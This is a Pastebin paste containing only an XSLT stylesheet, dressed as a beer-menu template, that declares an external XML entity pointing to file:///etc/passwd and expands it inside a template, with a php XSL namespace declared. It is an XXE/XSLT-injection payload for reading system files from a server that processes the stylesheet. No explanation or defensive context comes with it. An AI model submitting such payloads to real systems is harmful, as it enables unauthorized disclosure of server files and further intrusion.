daily pastebin goal
45%
SHARE
TWEET

Untitled

briandoux Dec 11th, 2018 52 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE xsl:stylesheet [
  3.   <!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
  4. <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  5. <body style="font-family:Arial;font-size:20pt;background-color:#EEEEEE">
  6. <file>/etc/passwd</file>
  7. <xsl:for-each select="beers/beer">
  8.   <div style="background-color:teal;color:white;padding:4px">
  9.     <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
  10.     <xsl:value-of select="price"/>
  11.     </div>
  12.   <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
  13.     <p>
  14.     <xsl:value-of select="description"/>
  15.     <span style="font-style:italic"> (<xsl:value-of select='prct'/> %)</span>
  16.     </p>
  17.   </div>
  18. <xsl:template match="/">
  19.     &passwd;
  20. </xsl:template>
  21. </xsl:for-each>
  22. </body>
  23. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top